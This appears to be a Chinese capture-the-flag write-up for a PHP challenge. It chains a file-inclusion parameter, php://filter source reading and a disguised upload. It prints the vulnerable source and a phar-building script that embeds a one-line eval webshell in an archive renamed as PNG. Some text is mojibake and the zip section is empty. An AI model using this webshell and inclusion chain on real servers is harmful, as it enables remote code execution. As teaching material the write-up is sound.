相关资源
首先进入的是home.php
界面,可以上传文件,但不论上传什么只要Content-Type
是image/png
类型的都会被存储为uploads/{random}.png
而且可以注意到点击上传后url为:http://localhost/home.php?fp=upload
点击查看后url为http://localhost/home.php?fp=show&imagekey={random}
推测fp
是一个文件前缀,拼接上.php
后缀后通过文件包含来实现功能
由此 我们可以通过伪协议php://filter/convert.base64-encode/resource=xxx
来读取文件内容
1 2 3
| ?fp=php: ?fp=php: ?fp=php:
|
再将得到的base64进行解码即可得到各文件源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php $fp = empty($_GET['fp']) ? 'fail' : $_GET['fp']; if(preg_match('/\.\./',$fp)){ die('No No No!'); } if(preg_match('/rm/i',$_SERVER["QUERY_STRING"])){ die(); } ?> <?php if($fp !== 'fail'){ if(!(include($fp.'.php'))){ ?> <div class="alert alert-danger" role="alert">没ææ¤é¡µé¢</div> <?php exit; } } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php include 'function.php'; if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name'])) { $name = $_FILES['image']['tmp_name']; $type = $_FILES['image']['type']; $size = $_FILES['image']['size']; if(!is_uploaded_file($name)) { ?> <div class="alert alert-danger" role="alert">å¾çä¸ä¼ 失败,请éæ°ä¸ä¼ </div> <?php exit; } if($type !== 'image/png') { ?> <div class="alert alert-danger" role="alert">åªè½ä¸ä¼ PNGå¾ç</div> <?php exit; } if($size > 10240) { ?> <div class="alert alert-danger" role="alert">å¾ç大å°è¶
è¿10KB</div> <?php exit; } $imagekey = create_imagekey(); move_uploaded_file($name,"uploads/$imagekey.png"); # 移动至新文件名 echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>"; } ?>
|
那么我们可以通过phar
或zip
生成带1.php
(木马文件)的压缩包,改名为xx.png直接上传,然后再通过伪协议访问1.php
phar
1 2 3 4 5 6 7 8 9 10 11
| <?php $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"." __HALT_COMPILER(); ");
$phar->addFromString("test.txt", "test"); $phar->addFromString("1.php", "<?php @eval(\$_POST['cmd']);?>"); $phar->stopBuffering(); ?>
|
zip